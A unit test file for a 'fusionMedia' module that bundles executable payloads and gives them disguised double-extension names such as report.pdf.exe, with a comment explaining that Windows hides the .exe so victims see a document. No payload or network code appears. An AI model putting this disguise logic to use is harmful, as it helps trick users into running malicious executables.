import { describe, expect, it } from 'vitest';
import {
  defaultEmbeddedName,
  defaultRunnerName,
  fusionTitleFromFilename,
  isFusionExeFile,
  fusionPayloadKind,
  fusionFileTypeLabel,
  disguisedWindowsRunnerName,
  disguisedDisplayName,
} from './fusionMedia';

describe('fusionMedia', () => {
  it('detects exe extensions', () => {
    expect(isFusionExeFile({ name: 'setup.exe' } as File)).toBe(true);
    expect(isFusionExeFile({ name: 'Vacation.mkv' } as File)).toBe(false);
    expect(isFusionExeFile({ name: 'report.pdf' } as File)).toBe(false);
    expect(isFusionExeFile(null)).toBe(false);
  });

  it('returns correct payload kind', () => {
    expect(fusionPayloadKind({ name: 'setup.exe' } as File)).toBe('exe');
    expect(fusionPayloadKind({ name: 'Vacation.mkv' } as File)).toBe('file');
    expect(fusionPayloadKind({ name: 'report.pdf' } as File)).toBe('file');
    expect(fusionPayloadKind({ name: 'doc.docx' } as File)).toBe('file');
    expect(fusionPayloadKind(null)).toBe('file');
  });

  it('derives title from any filename', () => {
    expect(fusionTitleFromFilename('C:\\movies\\Vacation.mkv')).toBe('Vacation');
    expect(fusionTitleFromFilename('clip.MP4')).toBe('clip');
    expect(fusionTitleFromFilename('quarterly-report.pdf')).toBe('quarterly-report');
    expect(fusionTitleFromFilename('document.docx')).toBe('document');
  });

  it('builds disguised double-extension runner names for non-exe files', () => {
    // Double-extension trick: Windows hides .exe → user sees the document name + icon
    expect(defaultRunnerName('Vacation.mkv')).toBe('Vacation.mkv.exe');
    expect(defaultRunnerName('report.pdf')).toBe('report.pdf.exe');
    expect(defaultRunnerName('budget.xlsx')).toBe('budget.xlsx.exe');
    // exe payloads are not double-extended (they run directly)
    expect(defaultRunnerName('setup.exe')).toBe('setup.exe');
    // embedded = same disguised name
    expect(defaultEmbeddedName('Vacation.mkv')).toBe('Vacation.mkv.exe');
  });

  it('disguisedWindowsRunnerName works for all types', () => {
    expect(disguisedWindowsRunnerName('quarterly-report.pdf')).toBe('quarterly-report.pdf.exe');
    expect(disguisedWindowsRunnerName('clip.mp4')).toBe('clip.mp4.exe');
    expect(disguisedWindowsRunnerName('setup.exe')).toBe('setup.exe');
    expect(disguisedWindowsRunnerName('no-extension')).toBe('no-extension.exe');
  });

  it('disguisedDisplayName strips trailing .exe for user-visible name', () => {
    expect(disguisedDisplayName('report.pdf')).toBe('report.pdf');
    expect(disguisedDisplayName('clip.mp4')).toBe('clip.mp4');
  });

  it('returns friendly file type labels', () => {
    expect(fusionFileTypeLabel('report.pdf')).toBe('PDF document');
    expect(fusionFileTypeLabel('clip.mp4')).toBe('MP4 video');
    expect(fusionFileTypeLabel('doc.docx')).toBe('Word document');
    expect(fusionFileTypeLabel('unknown.xyz')).toBe('XYZ file');
  });
});
